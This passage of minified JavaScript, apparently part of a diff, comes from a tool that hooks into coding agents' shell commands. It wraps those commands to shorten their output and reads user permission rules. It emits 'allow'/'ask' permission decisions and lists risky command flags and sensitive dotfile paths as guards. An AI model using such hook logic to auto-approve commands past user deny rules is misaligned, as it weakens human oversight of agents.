Set(["npx","pnpx","bunx"]),DI=new Set(["nodemon","top","htop","btop","watch"]),FI=new Set(["tsc","vitest","jest","webpack","rollup","esbuild","tsup","babel","sass","tailwindcss","mocha","swc","parcel","nest"]),LI=/(?:^|\s)--watch(?:All)?(?:\s|=(?!false(?:\s|$))|$)/,hb=/(?:^|\s)-w(?:\s|$)/;function HI(e){let t=e.map(i=>i.replace(/['"]/g,""));for(;t.length>1&&(t[0]==="env"||/^[A-Za-z_][A-Za-z0-9_]*=/.test(t[0]));)t=t.slice(1);let n=Er(t[0]??"");if(gb.has(n)||mb.has(n)&&(t[1]==="exec"||t[1]==="dlx"))t=t.slice(gb.has(n)?1:2).filter((i,a,l)=>!(i.startsWith("-")&&l.slice(0,a).every(c=>c.startsWith("-")))),n=Er(t[0]??"");else if(mb.has(n)){let i=t.slice(1).filter((l,c,u)=>!l.startsWith("-")&&!MI.has(u[c-1]??""));i[0]==="workspace"&&i.splice(0,2);let a=i[0]==="run"||i[0]==="run-script"?i[1]:i[0];return a!==void 0&&pb.test(a)}let r=t.slice(1),o=r.join(" "),s=r.find(i=>!i.startsWith("-"));if(DI.has(n)||LI.test(o)||FI.has(n)&&hb.test(o))return!0;switch(n){case"next":return s==="dev"||s==="start";case"vite":return!r.includes("build")&&!r.includes("optimize");case"vitest":return s==="watch"||s==="dev";case"cargo":case"dotnet":return s==="watch";case"turbo":{let i=s==="run"?r.filter(a=>!a.startsWith("-"))[1]:s;return i!==void 0&&pb.test(i)}case"nx":{let i=s==="run"?r.filter(a=>!a.startsWith("-"))[1]?.split(":")[1]:s;return i!==void 0&&/^(?:serve|dev|start|watch)$/.test(i)}case"ping":return!r.some(i=>/^-[a-zA-Z]*c/.test(i));case"docker":case"podman":case"nerdctl":case"docker-compose":{let i=n==="docker-compose"?r:s==="compose"?r.slice(r.indexOf("compose")+1):null;return i?i.includes("up")&&!i.some(a=>a==="--detach"||/^-[a-zA-Z]*d[a-zA-Z]*$/.test(a)):s==="stats"&&!r.includes("--no-stream")||s==="events"}case"kubectl":return s==="port-forward"||(s==="get"||s==="rollout")&&hb.test(o)||/(?:^|\s)--watch-only(?:\s|=|$)/.test(o);default:return!1}}function jI(e,t){let n=Er(t);return n==="tail"?PI.test(e):n==="journalctl"?db.test(e):n==="stern"||NI.has(n)&&/\blogs?\b/.test(e)&&db.test(e)?!0:HI(e.split(/\s+/))}var yu=/^[A-Za-z_][A-Za-z0-9_]*\+?=/,BI=/^[A-Za-z_][A-Za-z0-9_-]*\s*\(\s*\)/,zI=/(?:^|[;&|\n({])\s*(?:[A-Za-z_][A-Za-z0-9_-]*\s*\(\s*\)|function\s+[A-Za-z_])/;function Er(e){let t=e.lastIndexOf("/");return t===-1?e:e.slice(t+1)}function Tb(e){let t=new Array(e.length).fill(!1),n=[],r=0;for(;r<e.length;){let o=e[r],s=e[r+1],i=n[n.length-1];if(i==="'"){o==="'"&&n.pop(),r+=1;continue}if(o==="\\"){if(s===void 0)return null;r+=2;continue}if(i==="$'"){o==="'"&&n.pop(),r+=1;continue}if(o==="$"&&(s==="("||s==="{")){n.push(s==="("?")":"}"),r+=2;continue}if(o==="`"){i==="`"?n.pop():n.push("`"),r+=1;continue}if(i==='"'){o==='"'&&n.pop(),r+=1;continue}if(o==="$"&&s==="'"){n.push("$'"),r+=2;continue}if(o==="'"||o==='"'){n.push(o),r+=1;continue}if(o==="("||o==="{"&&i==="}"){n.push(o==="("?")":"}"),r+=1;continue}if(o===i){n.pop(),r+=1;continue}if(o===")"&&i===void 0)return null;t[r]=i===void 0,r+=1}return n.length===0?t:null}function gu(e){let t=Tb(e);if(!t)return!0;for(let n=0;n<e.length;n++)if(t[n]&&e[n]===">")return!0;return!1}function vr(e){let t=Tb(e);if(!t)return[{kind:"cmd",text:e,unsafe:!0}];let n=[],r="",o=0,s=()=>{r.length>0&&(n.push({kind:"cmd",text:r}),r="")},i=(a,l)=>{s(),n.push({kind:"sep",text:a}),o+=l};for(;o<e.length;){let a=e[o],l=e[o+1];if(t[o]){if(a===">"&&l==="|"){r+=">|",o+=2;continue}if(a==="&"&&l==="&"){i("&&",2);continue}if(a==="&"&&l!==">"){let c=r.trimEnd(),u=c[c.length-1];if(u!==">"&&u!=="<"&&u!=="&"){i("&",1);continue}}if(a==="|"&&l==="|"){i("||",2);continue}if(a==="|"&&l==="&"){i("|&",2);continue}if(a===";"&&l===";"){let c=e[o+2]==="&";i(c?";;&":";;",c?3:2);continue}if(a===";"||a===`
190
+ `||a==="|"){i(a,1);continue}}r+=a,o+=1}return s(),n}function Rb(e){return e.trim().split(/\s+/)[0]??""}function Ye(e,t=process.platform){try{let n=xb(wI(import.meta.url)),r=t==="win32",o=e&&e!=="claude-code"&&e!=="codex"&&!r?`TOKMIZER_HOST=${e} `:"";if(r&&(!e||e==="claude-code")){let l=L(n,"..","bin","tkr-exec.exe");if(Dt(l))return pu(l,t)?`'${l.replace(/\\/g,"/").replace(/'/g,"'\\''")}'`:null}let s=L(n,"..","bin","tkr-exec"),i=!r&&Dt(s);if(i&&!pu(s,t))return null;if(!r&&process.env.TOKMIZER_STABLE_RUN!=="0"){let l=Fd(L(n,"..","bin","tkr-exec.js"));if(l&&(i||Dt(L(n,"..","bin","tkr-exec.js"))))return`${o}'${l.replace(/'/g,"'\\''")}'`}if(i)return`${o}'${s.replace(/'/g,"'\\''")}'`;if(de()){let l=r?process.execPath.replace(/\\/g,"/"):process.execPath;return`${o}'${l.replace(/'/g,"'\\''")}' exec`}let a=L(n,"..","bin","tkr-exec.js");return Dt(a)?`${o}node '${a.replace(/'/g,"'\\''")}'`:null}catch{return null}}function ku(e,t="tkr-exec",n=()=>!0,r){return Ab(e,t,0,n,r)}var UI=new Set(["{","for","while","until","if","case","select"]),JI=new Set(["}","done","fi","esac"]),GI=new Set(["then","do","else","elif","!","time","{","if","while","until"]);function ZI(e,t){let n=e[t+1];return gu(e[t].text)||n?.kind==="sep"&&(n.text==="|"||n.text==="|&")}function KI(e){let t=new Set,n=[];for(let r=0;r<e.length;r++){let o=e[r];if(!(o.kind!=="cmd"||o.unsafe))for(let s of o.text.trim().split(/\s+/)){if(JI.has(s)){let i=n.pop();if(i!==void 0&&ZI(e,r))for(let a=i;a<=r;a++)t.add(a);continue}if(UI.has(s)&&n.push(r),!GI.has(s))break}}return t}function Ab(e,t,n,r,o){if(e.includes("<<")||zI.test(e))return e;let s=vr(e),i=KI(s),a=[];for(let l=0;l<s.length;l++){let c=s[l];if(c.kind==="sep"||c.unsafe||i.has(l)){a.push(c.text);continue}let u=c.text.trim();if(!u){a.push(c.text);continue}let f=Rb(u),d=s[l+1],m=d?.kind==="sep"&&(d.text==="|"||d.text==="|&"),g=d?.kind==="sep"&&d.text==="&",h=!m&&!g&&!gu(c.text)&&!c.text.includes("<(")&&!c.text.includes(">(")?II(u,t,n,r,o):null;if(h!==null){a.push(`${c.text.match(/^\s*/)?.[0]??""}${h}${c.text.slice(c.text.trimEnd().length)}`);continue}if(u===t||u.startsWith(t)&&/^\s/.test(u.slice(t.length))||xI.has(f)||EI.has(f)||(ub.has(f)||ub.has(Er(f)))&&!RI(u)||yu.test(f)||f.startsWith("(")||f.startsWith("#")||f.startsWith("<")||f.startsWith(">")||BI.test(u)||jI(u,f)||f.endsWith(")")||m||g||gu(c.text)||c.text.includes("<(")||c.text.includes(">(")||f==="node"&&u.includes("tkr-exec.js")||!r(f,u)){a.push(c.text);continue}let p=c.text.match(/^\s*/)?.[0]??"",w=c.text.slice(c.text.trimEnd().length);o?.(u),a.push(`${p}${t} ${u}${w}`)}return a.join("")}var WI=new Set(["command","workdir","timeout_ms","yield_time_ms","max_output_tokens","shell","login","tty","description"]),VI=new Set(["cd","cat","head","tail","ls","tree","find","grep","rg","wc","nl","sort","cut","diff","stat","file","du","df","ps","jq","yq","pwd","which"]),qI=new Set(["log","diff","show","status","blame","ls-files","rev-parse","describe","shortlog"]),YI={find:/^-(?:delete|exec|execdir|ok|okdir|fprint|fls)/,sort:/^(?:-[^-]*o|--output|--compress-program)/,rg:/^(?:--pre|--hostname-bin|-[^-]*z|--search-zip)/,yq:/^(?:-[^-]*[is]|--inplace|--split-exp)/,file:/^(?:-C|--compile)/,tree:/^(?:-o|--output|-R$|-H$)/,git:/^(?:--output|--ext-diff|--textconv|-c$|--exec-path|--git-dir|--work-tree)/,eslint:/^--fix/},qi=["test","run test","run build","run lint","run typecheck"],XI={npm:new Set(qi),pnpm:new Set([...qi,"build","lint","typecheck"]),yarn:new Set([...qi,"build","lint","typecheck"]),bun:new Set(qi),cargo:new Set(["test","build","check","clippy"]),go:new Set(["test","build","vet"]),mvn:new Set(["test","compile","verify"]),gradle:new Set(["test","build","check"]),dotnet:new Set(["test","build"])},QI=new Set(["pytest","tsc","vitest","jest","eslint","mypy"]);function $b(e,t,n=0){if(/\$|`|<\(|>\(|\\\r?\n/.test(e)||/>/.test(e.replace(/2>&1|[12]?>\s*\/dev\/null/g,"")))return!1;for(let r of vr(e)){if(r.kind==="sep")continue;if(r.unsafe)return!1;let o=n<Eb?vb(r.text.trim()):null;if(o){if(!$b(o.script,t,n+1))return!1;continue}let s=r.text.trim().split(/\s+/).filter(Boolean).map(c=>c.replace(/['"\\]/g,""));if(s.length===0)continue;if(s.some(c=>yu.test(c)))return!1;let i=Er(s[0]);if(i!==s[0])return!1;let a=YI[i];if(a&&s.slice(1).some(c=>a.test(c)))return!1;if((i==="git"?qI.has(s[1]??""):VI.has(i))||t&&QI.has(i))continue;let l=t?XI[i]:void 0;if(!(l&&(l.has(s[1]??"")||s[1]==="run"&&l.has(`run ${s[2]??""}`))))return!1}return!0}function Cb(e,t,n=Ye(t),r=Re,o=Xi(),s=process.env.PATH,i=qo){if(!le(e)||e.tool_name!=="Bash"||t==="claude-code"&&tP(i()))return null;let a=e.tool_input;if(!le(a)||a.run_in_background)return null;let l=a.command;if(typeof l!="string"||!l||t==="codex"&&Object.keys(a).some(h=>!WI.has(h)))return null;let c=typeof e.cwd=="string"&&e.cwd?e.cwd:a.workdir,u=typeof c=="string"&&c?c:void 0,f=typeof e.session_id=="string"&&e.session_id?e.session_id:"unknown",d=typeof e.permission_mode=="string"?e.permission_mode:void 0,m=Hb(l,{host:t,sessionId:f,cwd:u,claudeDirs:o,pathEnv:s,permissionMode:d},n,r);if(!m)return null;let g={...a,command:m.command};return JSON.stringify({hookSpecificOutput:t==="codex"?{hookEventName:"PreToolUse",permissionDecision:"allow",updatedInput:g}:m.allowedBy?{hookEventName:"PreToolUse",permissionDecision:"allow",permissionDecisionReason:`Tokmizer: allowed by your rule ${m.allowedBy}`,updatedInput:g}:m.ask?{hookEventName:"PreToolUse",permissionDecision:"ask",permissionDecisionReason:"Tokmizer shortens this command's output; nothing else changes.",updatedInput:g}:{hookEventName:"PreToolUse",updatedInput:g}})}var eP=/(?:^|\s)--(?:disallowedTools|disallowed-tools|settings|setting-sources)(?:[=\s]|$)/;function qo(e=process.env,t=process.platform){let n=Number(e.CLAUDE_PID)||process.ppid;if(t==="win32"||!Number.isInteger(n)||n<=1)return null;try{let r=Sb("ps",["-ww","-o","args=","-p",String(n)],{encoding:"utf8",timeout:2e3});return r.status===0&&r.stdout.trim()?r.stdout:null}catch{return null}}function tP(e){return e===null||eP.test(e)}function nP(e,t){if(!Dt(e))return"missing";try{let n=Wo(e,"utf8").replace(/^\uFEFF/,"");return n.trim()===""?{}:JSON.parse(t?Ob(n):n)}catch{return"unreadable"}}function Ob(e){let t="",n=!1;for(let r=0;r<e.length;r++){let o=e[r];if(n){t+=o,o==="\\"?t+=e[++r]??"":o==='"'&&(n=!1);continue}if(o==='"')n=!0,t+=o;else if(o==="/"&&e[r+1]==="/"){for(;r<e.length&&e[r]!==`
185
191
  `;)r++;t+=`
186
- `}else if(o==="/"&&e[r+1]==="*"){if(r=e.indexOf("*/",r+2),r===-1)return"";r+=1}else t+=o}return t.replace(/,(\s*[}\]])/g,"$1")}function Tr(e){let t=[],n=jO(e);for(;;){t.push(n);let r=sb(n);if(r===n)return t;n=r}}function _P(){let e=process.platform==="darwin"?"/Library/Application Support/ClaudeCode":process.platform==="win32"?"C:\\Program Files\\ClaudeCode":"/etc/claude-code",t=[j(e,"managed-settings.json")];try{for(let n of Vi(j(e,"managed-settings.d")))n.endsWith(".json")&&t.push(j(e,"managed-settings.d",n))}catch{return t}return t}function Yo(e,t,n,r){let o=[];for(let s of e){let i=wP(s,t);if(i!=="missing"&&(i==="unreadable"||!ae(i)||!n(i,o)))return"unreadable"}return{matchers:o,complete:r}}function Vo(e){return e===void 0?[]:Array.isArray(e)?e.filter(t=>typeof t=="string"):null}function qi(){return{projectDir:process.env.CLAUDE_PROJECT_DIR,configDir:process.env.CLAUDE_CONFIG_DIR?.trim()?zn():void 0}}function SP(e,t){let n=m=>[j(m,"settings.json"),j(m,"settings.local.json")],r=m=>n(j(m,".claude")),o=j(bn(),".claude"),s=t.configDir||o,i=[[_P(),"managed"],[[j(s,"settings.json")],"loaded"],[[j(s,"settings.local.json")],"loadedLocal"],[t.configDir?n(o):[],"extra"],[t.projectDir?r(t.projectDir):[],"project"],[Tr(e).flatMap(r),"extra"]],a=[],l={managed:[],loaded:[],loadedLocal:[],project:[],extra:[]},c={managed:!1,loaded:!1,loadedLocal:!1,project:!1,extra:!1},u=!1,f="managed",d=(m,_)=>{let S=m.permissions;if(f==="managed"&&(m.allowManagedPermissionRulesOnly===!0||ae(S)&&S.allowManagedPermissionRulesOnly===!0)&&(u=!0),S===void 0)return!0;if(!ae(S))return!1;for(let E of["deny","ask","allow"]){let R=Vo(S[E]);if(!R)return!1;for(let I of R){let A=/^\s*Bash\s*(?:\(([\s\S]*)\))?\s*$/.exec(I);if(A)if(E!=="allow")_.push(wn((A[1]??"*").replace(/:\*$/," *")));else if(A[1]===void 0||A[1].trim()==="*")c[f]=!0;else{a.push(wn(A[1].replace(/:\*$/," *")));let $=zP(A[1]);$&&l[f].push({rule:I.trim(),matches:$})}}}return!0},p=[];for(let[m,_]of i){f=_;let S=Yo(m,!1,d,!0);if(S==="unreadable")return"unreadable";p.push(...S.matchers)}let g=c.managed||(c.loaded||c.loadedLocal)&&!u,h=[...l.managed,...u?[]:l.loaded];return{matchers:[...p,...g?[]:a],complete:!0,allow:a,allowsEverything:g,guards:p,trustedAllow:h}}function xP(e){let t=[j(bn(),".cursor","cli-config.json"),...Tr(e).map(n=>j(n,".cursor","cli.json"))];return Yo(t,!0,(n,r)=>{let o=n.permissions;if(o===void 0)return!0;if(!ae(o))return!1;let s=Vo(o.deny);if(!s)return!1;for(let i of s){let a=/^\s*Shell\s*(?:\(([\s\S]*)\))?\s*$/.exec(i);if(!a)continue;let l=a[1]??"*",c=l.indexOf(":");r.push(wn(c===-1?`${l} *`:`${l.slice(0,c)} ${l.slice(c+1)}`))}return!0},!1)}function vP(){return process.platform==="darwin"?"/Library/Application Support/GeminiCli":process.platform==="win32"?"C:\\ProgramData\\gemini-cli":"/etc/gemini-cli"}var mb=/^\s*(?:run_shell_command|ShellTool)\s*(?:\(([\s\S]*)\))?\s*$/;function EP(e,t){let n=e.tools;if(n!==void 0&&!ae(n))return!1;let r=[Vo(e.excludeTools),Vo(ae(n)?n.exclude:void 0)];for(let o of r){if(!o)return!1;for(let s of o){let i=mb.exec(s);i&&t.push(wn(i[1]===void 0?"*":`${i[1]}*`))}}return!0}function nb(e){try{return JSON.parse(e)}catch{return null}}function TP(e){let t=e.trim();if(t.startsWith('"""')||t.startsWith("'''"))return null;if(t.startsWith("[")){if(!/\]\s*(?:#.*)?$/.test(t))return null;let n=[];for(let r of t.matchAll(/"((?:\\.|[^"\\])*)"|'([^']*)'/g)){let o=r[2]??nb(`"${r[1]}"`);if(o===null)return null;n.push(o)}return n}if(t.startsWith('"')){let n=/^"((?:\\.|[^"\\])*)"/.exec(t);return n?nb(`"${n[1]}"`):null}if(t.startsWith("'")){let n=/^'([^']*)'/.exec(t);return n?n[1]:null}return t.replace(/\s*#.*$/,"")}function RP(e,t){for(let n of e.split(/^\s*\[\[\s*rule\s*\]\]\s*$/m).slice(1)){let r={};for(let l of n.split(/\r?\n/)){if(/^\s*\[/.test(l))break;let c=/^\s*([A-Za-z_]+)\s*=\s*(.*)$/.exec(l);if(!c)continue;let u=TP(c[2]);if(u===null)return!1;r[c[1]]=u}let o=r.decision;if(o!=="deny"&&o!=="ask_user"||!(r.toolName===void 0?["*"]:[r.toolName].flat()).some(l=>l==="*"||mb.test(l)))continue;let i=r.commandPrefix===void 0?[]:[r.commandPrefix].flat(),a=[r.commandRegex,r.argsPattern].flat().filter(l=>typeof l=="string");if(i.length===0&&a.length===0){t.push(()=>!0);continue}for(let l of i)t.push(wn(`${l}*`));for(let l of a){let c;try{c=new RegExp(l)}catch{return!1}t.push(u=>c.test(JSON.stringify({command:u}))||Yi(c,u))}}return!0}function rb(e){try{return Vi(e).filter(t=>t.endsWith(".toml")).map(t=>j(e,t))}catch{return[]}}function AP(e){let t=vP(),n=[j(t,"system-defaults.json"),j(t,"settings.json"),process.env.GEMINI_CLI_SYSTEM_SETTINGS_PATH,process.env.GEMINI_CLI_SYSTEM_DEFAULTS_PATH,j(bn(),".gemini","settings.json"),...Tr(e).map(o=>j(o,".gemini","settings.json"))].filter(o=>!!o),r=Yo(n,!0,EP,!1);if(r==="unreadable")return r;for(let o of[...rb(j(bn(),".gemini","policies")),...rb(j(t,"policies"))]){let s;try{s=Wo(o,"utf8")}catch{return"unreadable"}if(!RP(s,r.matchers))return"unreadable"}return r}function pu(e,t){if(e===void 0)return!0;if(typeof e=="string")return e!=="allow"&&t.push(()=>!0),!0;if(!ae(e))return!1;for(let n of["bash","shell","*"]){let r=e[n];if(r!==void 0){if(typeof r=="string"){r!=="allow"&&t.push(()=>!0);continue}if(!ae(r))return!1;for(let[o,s]of Object.entries(r))s!=="allow"&&t.push(wn(o.replace(/\?/g,"*")))}}return!0}function ob(e,t){if(e.permissions!==void 0||!pu(e.permission,t))return!1;for(let n of["agent","agents","mode"]){let r=e[n];if(r!==void 0){if(!ae(r))return!1;for(let o of Object.values(r))if(ae(o)&&(o.permissions!==void 0||!pu(o.permission,t)))return!1}}return!0}function $P(e){for(let t of e)for(let n of["agent","agents","mode","modes"]){let r;try{r=Vi(j(t,n))}catch{continue}for(let o of r)try{if(o.endsWith(".md")&&/permission/i.test(Wo(j(t,n,o),"utf8")))return!0}catch{return!0}}return!1}function CP(e){let t=j(process.env.XDG_CONFIG_HOME||j(bn(),".config"),"opencode"),n=Tr(e),r=[t,...n.map(a=>j(a,".opencode"))];if($P(r))return"unreadable";let o=["opencode.json","opencode.jsonc","config.json"],s=[...o.map(a=>j(t,a)),process.env.OPENCODE_CONFIG,...n.flatMap(a=>[...o.slice(0,2).map(l=>j(a,l)),...o.slice(0,2).map(l=>j(a,".opencode",l))])].filter(a=>!!a),i=Yo(s,!0,ob,!0);if(i==="unreadable")return i;for(let a of[process.env.OPENCODE_CONFIG_CONTENT,process.env.OPENCODE_PERMISSION]){if(!a)continue;let l;try{l=JSON.parse(pb(a))}catch{return"unreadable"}if(!(a===process.env.OPENCODE_PERMISSION?pu(l,i.matchers):ae(l)&&ob(l,i.matchers)))return"unreadable"}return i}function OP(){return Yo([j(bn(),".gemini","antigravity-cli","settings.json")],!0,(e,t)=>{let n=e.permissions;if(n===void 0)return!0;if(!ae(n))return!1;for(let r of["deny","ask"]){let o=Vo(n[r]);if(!o)return!1;for(let s of o){let i=/^\s*command\s*\(([\s\S]*)\)\s*$/.exec(s);if(!i)continue;let a=i[1].trim();if(!a.startsWith("regex:")){t.push(wn(a==="*"?"*":`${a} *`));continue}let l;try{l=new RegExp(a.slice(6))}catch{return!1}t.push(c=>Yi(l,c))}}return!0},!1)}function PP(e){let t=[],n=/\s+|#[^\n]*|("(?:[^"\\\n]|\\.)*"|'(?:[^'\\\n]|\\.)*')|([A-Za-z_][A-Za-z0-9_]*|[()[\],=])|(.)/gy;for(let r=n.exec(e);r&&r[0];r=n.exec(e)){if(r[3]!==void 0)return null;(r[1]!==void 0||r[2]!==void 0)&&t.push(r[1]??r[2])}return t}function gb(e,t){let n=e[t.i++];if(n===void 0)return;if(/^["']/.test(n))try{return n.startsWith('"')?JSON.parse(n):JSON.parse(`"${n.slice(1,-1).replace(/\\'/g,"'").replace(/"/g,'\\"')}"`)}catch{return}if(n!=="[")return/^[A-Za-z_]/.test(n)?null:void 0;let r=[];for(;e[t.i]!=="]";){let o=gb(e,t);if(o===void 0)return;if(r.push(o),e[t.i]===",")t.i++;else if(e[t.i]!=="]")return}return t.i++,r}function hb(e){if(!Array.isArray(e)||e.length===0)return null;let t=[];for(let r of e){let o=typeof r=="string"?[r]:Array.isArray(r)?r:null;if(!o||o.length===0||!o.every(s=>typeof s=="string"&&s!==""))return null;t.push(`(?:${o.map(hu).join("|")})`)}let n=new RegExp(`^${t.join(" ")}(?= |$)`);return r=>Yi(n,r)}function IP(e,t){let n=PP(e);if(!n)return!1;for(let r=0;r<n.length;r++){if(n[r]!=="prefix_rule"||n[r+1]!=="(")continue;let o={i:r+2},s={};for(;n[o.i]!==")";){let l=n[o.i];if(!l||!/^[A-Za-z_]/.test(l)||n[o.i+1]!=="="||(o.i+=2,s[l]=gb(n,o),s[l]===void 0&&(l==="pattern"||l==="decision")))return!1;if(n[o.i]===",")o.i++;else if(n[o.i]!==")")return!1}r=o.i;let i="decision"in s?s.decision:"allow";if(i!=="allow"&&i!=="prompt"&&i!=="forbidden")return!1;let a=hb(s.pattern);if(!a)return!1;i!=="allow"&&t.push(a)}return!0}function NP(e){if(!kn(e))return[];try{return Vi(e).filter(t=>t.endsWith(".rules")).sort().map(t=>j(e,t))}catch{return"unreadable"}}function MP(){return process.platform==="win32"?j(process.env.ProgramData||"C:\\ProgramData","OpenAI","Codex","requirements.toml"):"/etc/codex/requirements.toml"}function DP(e){if(!(!ae(e)||Object.keys(e).length!==1)){if(typeof e.token=="string")return e.token;if(Array.isArray(e.any_of)&&e.any_of.every(t=>typeof t=="string"))return e.any_of}}function FP(e,t){let n;try{n=Lo(e)}catch{return!1}if(n.rules===void 0)return!0;if(!ae(n.rules))return!1;let r=n.rules.prefix_rules;if(r===void 0)return!0;if(!Array.isArray(r))return!1;for(let o of r){if(!ae(o)||!Array.isArray(o.pattern)||o.decision!=="prompt"&&o.decision!=="forbidden")return!1;let s=o.pattern.map(DP);if(s.some(a=>a===void 0))return!1;let i=hb(s);if(!i)return!1;t.push(i)}return!0}function LP(e){let t=process.env.CODEX_HOME||j(bn(),".codex"),n=[j(t,"rules"),...Tr(e).map(s=>j(s,".codex","rules"))],r=[],o=null;try{o=Wo(MP(),"utf8")}catch(s){let i=s.code;if(i!=="ENOENT"&&i!=="ENOTDIR")return"unreadable"}if(o!==null&&!FP(o,r))return"unreadable";for(let s of[...new Set(n)]){let i=NP(s);if(i==="unreadable")return"unreadable";for(let a of i){let l;try{l=Wo(a,"utf8")}catch{return"unreadable"}if(!IP(l,r))return"unreadable"}}return{matchers:r,complete:!1}}function ae(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}function hu(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function HP(e){let t=e.trim().replace(/\s+/g," "),n=t.endsWith(" *")&&t.length>2,r=(n?t.slice(0,-2):t).split("*").map(hu).join("[\\s\\S]*");return new RegExp(`^${r}${n?"(?: [\\s\\S]*)?":""}(?= |$)`)}var jP=512;function BP(e){let t=e.replace(/['"\\]/g,"").split(/[\s;&|(){}<>`$]+/).filter(Boolean);return[t,t.map(vr)]}function Yi(e,t){if(e.test(t)||e.test(t.trim().replace(/\s+/g," ")))return!0;for(let n of BP(t)){if(n.length>jP)return!0;for(let r=0;r<n.length;r++)if(e.test(n.slice(r).join(" ")))return!0}return!1}function wn(e){let t=HP(e);return n=>Yi(t,n)}function zP(e){let t=e.trim().replace(/:\*$/," *"),n=t.endsWith(" *"),r=n?t.slice(0,-2):t;if(!r||r.includes("*")||/\s\s|[^\S ]|^ | $/.test(r))return null;let o=new RegExp(`^${hu(r)}${n?"(?: [\\s\\S]*)?":""}$`);return s=>o.test(s)}var UP={"claude-code":SP,cursor:xP,"gemini-cli":AP,opencode:CP,antigravity:OP,codex:LP},JP=new Set(["codex"]),yb=/(?:^|[\s=:/~])\.(?:git|claude|vscode|idea|husky)(?=[/\s;|&)]|$)|(?:^|[\s=:/~])\.(?:bashrc|bash_profile|bash_login|bash_logout|profile|zshrc|zprofile|zshenv|zlogin|zlogout|gitconfig|gitmodules|ripgreprc|mcp\.json)(?![A-Za-z0-9_])/;function GP(e,t,n){let r=UP[e];return r?r(t??process.cwd(),n):{matchers:[],complete:!1}}function ZP(e,t,n){return e==="unreadable"||yb.test(t.replace(/['"\\]/g,""))||e.matchers.some(r=>r(t))?!1:e.complete||fb(t,!JP.has(n))}var kb=new Set(["default","acceptEdits","dontAsk"]);function bb(e,t){return t.host!=="claude-code"||t.permissionMode==="bypassPermissions"?!0:e!=="unreadable"&&e.allowsEverything===!0&&kb.has(t.permissionMode??"")}var KP=/(?:^|[\s/])git(?:\.exe|\.real|-[a-z][\w-]*)?(?=\s|$)/;function WP(e){if(!e)return!1;try{for(let t of Tr(e)){let n=j(t,".git");if(kn(n))return LO(n).isFile()}}catch{return!0}return!1}function VP(e,t){let n="pathEnv"in e?e.pathEnv:process.env.PATH,r,o;return(s,i)=>e.host!=="claude-code"?xr(s,e.cwd,n):i!==void 0&&KP.test(i)&&(o??=WP(e.cwd))||(r??=Gk(t.configDir),!xr(s,e.cwd,n)&&!r.paths.some(a=>xr(s,e.cwd,a)))?!1:s.includes("/")||!Zk(s,r)}var qP=/^[^\s;&|<>()$`\\{}*?[\]~#!]+(?: [^\s;&|<>()$`\\{}*?[\]~#!]+)*$/;function YP(e,t,n){return n.host!=="claude-code"||e==="unreadable"||bb(e,n)||!kb.has(n.permissionMode??"")||!qP.test(t)||yb.test(t.replace(/['"]/g,""))||(e.guards??[]).some(r=>r(t))?null:(e.trustedAllow??[]).find(r=>r.matches(t))?.rule??null}var XP=/^(?:\S+=\S*\s+)*(?:(?:npx|bunx|pnpm\s+exec|yarn\s+exec|uv\s+run|poetry\s+run)\s+)?(?:\.\/)?(?:ctest|gradlew|gradle|mvnw|mvnd|mvn|make|cmake|sbt|phpstan|phpunit|pest|pytest|py\.test|tox|nox|vitest|jest|mocha|playwright\s+test|tsc|(?:cargo|go)\s+(?:build|test|check|clippy|vet)|(?:bun|deno)\s+(?:test|check|lint|install)|(?:npm|pnpm|yarn)\s+(?:test|t|ci|install|run\s+\S+)|dotnet\s+(?:build|test)|swift\s+(?:build|test)|composer\s+(?:install|update|test))(?:\s|$)/;function QP(e,t){return t.host==="claude-code"&&t.permissionMode==="default"&&XP.test(e.trim())}function wb(e,t,n,r){if(!n||/["\\$`;&|<>(){}]|'\\''/.test(n))return null;let o=t.claudeDirs??qi(),s=GP(t.host,t.cwd,o),i=YP(s,e,t),a=i||ZP(s,e,t.host)?gu(e,n,VP(t,o)):e;return a!==e&&s!=="unreadable"&&(i?(s.guards??[]).some(l=>l(a)):s.matchers.some(l=>l(a))||(s.allow??[]).some(l=>l(a)&&!l(e)))&&(a=e),r(t.sessionId,a!==e),a===e?null:i?{command:a,allowedBy:i}:bb(s,t)?{command:a}:s!=="unreadable"&&QP(e,t)&&!(s.allow??[]).some(l=>l(e))&&!(s.trustedAllow??[]).some(l=>l.matches(e))?{command:a,ask:!0}:null}function Nt(e,t,n,r){let o=wb(e,t,n,r);return o&&!o.ask?o.command:null}z();ze();So();tu();si();import{existsSync as uI,writeFileSync as fI,appendFileSync as dI,statSync as pI,constants as Sb}from"node:fs";import{lstat as mI,open as gI}from"node:fs/promises";import{basename as hI,dirname as yI,isAbsolute as kI,join as Rb}from"node:path";z();import{createHash as eI}from"node:crypto";import{appendFileSync as tI,chmodSync as nI,mkdirSync as rI,readFileSync as oI,rmSync as sI,statSync as iI}from"node:fs";import{join as _b}from"node:path";var aI=256*1024,lI=80;function cI(e){let t=e.replace(/[^A-Za-z0-9._-]/g,"-").replace(/\.\./g,"-").slice(0,80)||"default";return _b(b(),"sessions",`${t}.seen`)}function yu(e){return e.replace(/[\t\r\n]+/g," ").trim().slice(0,lI)}function ku(e,t,n,r){try{let o=cI(e),s=yu(t),i=eI("sha256").update(n).digest("hex").slice(0,32),a="";try{a=oI(o,"utf8")}catch{}for(let l of a.split(`
187
- `)){let[c,u,f]=l.split(" ");if(c===s&&u===i)return{cmd:f??""}}rI(_b(b(),"sessions"),{recursive:!0,mode:448}),tI(o,`${s} ${i} ${yu(r)}
188
- `,{mode:384}),nI(o,384),iI(o).size>aI&&sI(o,{force:!0})}catch{}return null}function bu(e,t){return`[same output as \`${yu(e)}\` earlier in this session, unchanged, ~${Math.round(t/4)} tokens]`}Vr();Es();Ds();var bI=new Set(["Read","Grep","Glob","Bash"]),Xi=10*1024*1024,Ab=1024,wI=10,_I=25e3,SI=/^… \(?\d+ more lines omitted\)?$/,xI=/^\[tkr restore [0-9a-f]{8,64}\]$/,vI=/^\d+F \d+D(?: in .+\/)?:$|^\S.*\/ \(\d+(?:, \*\.[^)]+)?\): \S/,EI=/^… \(\d+ more lines omitted\)$/m;function TI(e){return SI.test(e)||xI.test(e)||e==="[YOLO: omitted]"}function $b(e,t,n){if(!e||typeof e=="string")return t;if(e.file?.content!=null)return{...e,file:{...e.file,content:t}};if(e.content!=null)return{...e,content:t};if(e.output!=null)return{...e,output:t};if(e.stdout!=null||e.stderr!=null){let{persistedOutputPath:r,persistedOutputSize:o,...s}=e;return{...s,stdout:t,stderr:""}}if(Array.isArray(e.filenames)){let r=new 